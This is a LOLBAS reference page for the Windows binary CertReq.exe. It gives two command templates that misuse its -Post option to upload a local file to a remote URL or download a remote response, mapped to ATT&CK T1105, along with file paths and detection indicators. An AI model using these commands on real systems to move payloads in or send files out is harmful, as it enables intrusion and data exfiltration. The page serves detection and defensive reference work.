LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

CertReq.exe

View source

Used for requesting and managing certificates

02COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Download1

EXAMPLE 01T1105

Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).

COMMAND
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}
USE CASE
Download file from Internet
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11

Upload1

EXAMPLE 01T1105

Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.

COMMAND
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}
USE CASE
Upload
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\certreq.exe
C:\Windows\SysWOW64\certreq.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    certreq creates new files

  • IOC

    certreq makes POST requests

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

David Middlehurst@dtmsecurity